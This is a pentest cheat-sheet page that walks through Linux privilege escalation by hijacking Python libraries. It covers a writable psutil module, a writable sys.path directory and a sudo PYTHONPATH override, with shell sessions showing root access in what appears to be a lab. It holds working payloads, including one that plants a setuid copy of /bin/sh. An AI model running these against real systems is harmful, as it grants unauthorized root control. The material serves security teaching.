> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/privilege-escalation/linux/python-library-hijacking.md).

# Python Library Hijacking

## Wrong Write Permissions

```shell-session
$ ls -l mem_status.py

-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py
```

```python
#!/usr/bin/env python3
import psutil

available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total

print(f"Available memory: {round(available_memory, 2)}%")
```

```shell-session
$ grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*

/usr/local/lib/python3.8/dist-packages/psutil/__init__.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psaix.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psbsd.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pslinux.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_psosx.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pssunos.py:def virtual_memory():
/usr/local/lib/python3.8/dist-packages/psutil/_pswindows.py:def virtual_memory():


htb-student@lpenix:~$ ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py

-rw-r--rw- 1 root staff 87339 Dec 13 20:07 /usr/local/lib/python3.8/dist-packages/psutil/__init__.py
```

### **Module Contents - Hijacking**

```python
...SNIP...

def virtual_memory():

	...SNIP...
	#### Hijacking
	import os
	os.system('id')
	

    global _TOTAL_PHYMEM
    ret = _psplatform.virtual_memory()
    # cached for later use in Process.memory_percent()
    _TOTAL_PHYMEM = ret.total
    return ret

...SNIP...
```

```shell-session
$ sudo /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
Available memory: 79.22%
```

## Library Path

```shell-session
$ python3 -c 'import sys; print("\n".join(sys.path))'

/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packages
```

To be able to use this variant, two prerequisites are necessary.

1. The module that is imported by the script is located under one of the lower priority paths listed via the `PYTHONPATH` variable.
2. We must have write permissions to one of the paths having a higher priority on the list.

```shell-session
$ pip3 show psutil

...SNIP...
Location: /usr/local/lib/python3.8/dist-packages

...SNIP...
```

```shell-session
$ ls -la /usr/lib/python3.8

total 4916
drwxr-xrwx 30 root root  20480 Dec 14 16:26 .
...SNIP...
```

Create `psutil.py` in /usr/lib/python3.8

```python
#!/usr/bin/env python3

import os

def virtual_memory():
    os.system('id')
```

```shell-session
$ sudo /usr/bin/python3 mem_status.py

uid=0(root) gid=0(root) groups=0(root)
Traceback (most recent call last):
  File "mem_status.py", line 4, in <module>
    available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
AttributeError: 'NoneType' object has no attribute 'available' 
```

{% hint style="info" %}
Python first checks for modules in the current working directory, before looking in the other paths. If vulnerable script is on /home, create new file here
{% endhint %}

<pre><code><strong>user@NIX02:~$ pwd
</strong>/home/user
user@NIX02:~$ ls
apache_restart.py
</code></pre>

```
$ cat apache_restart.py 
import call
import urllib
url = urllib.urlopen(localhost)
page= url.getcode()
<SNIP>
```

```
user@NIX02:~$ cat urllib.py 
import os
os.system("cp /bin/sh /tmp/sh;chmod u+s /tmp/sh")
```

```
$ ls /tmp
sh
user@NIX02:/tmp$ ./sh -p
# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user)
# ls /root

```

## PYTHONPATH Environment Variable

```shell-session
$ sudo -l 

Matching Defaults entries for htb-student on ACADEMY-LPENIX:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User htb-student may run the following commands on ACADEMY-LPENIX:
    (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
```

&#x20;Moved the previous python script `psutil.py` from the `/usr/lib/python3.8` directory to `/tmp`

```shell-session
$ sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

uid=0(root) gid=0(root) groups=0(root)
...SNIP...
```

## Resources

{% embed url="<https://rastating.github.io/privilege-escalation-via-python-library-hijacking/>" %}

{% embed url="<https://www.hackingarticles.in/linux-privilege-escalation-python-library-hijacking/>" %}


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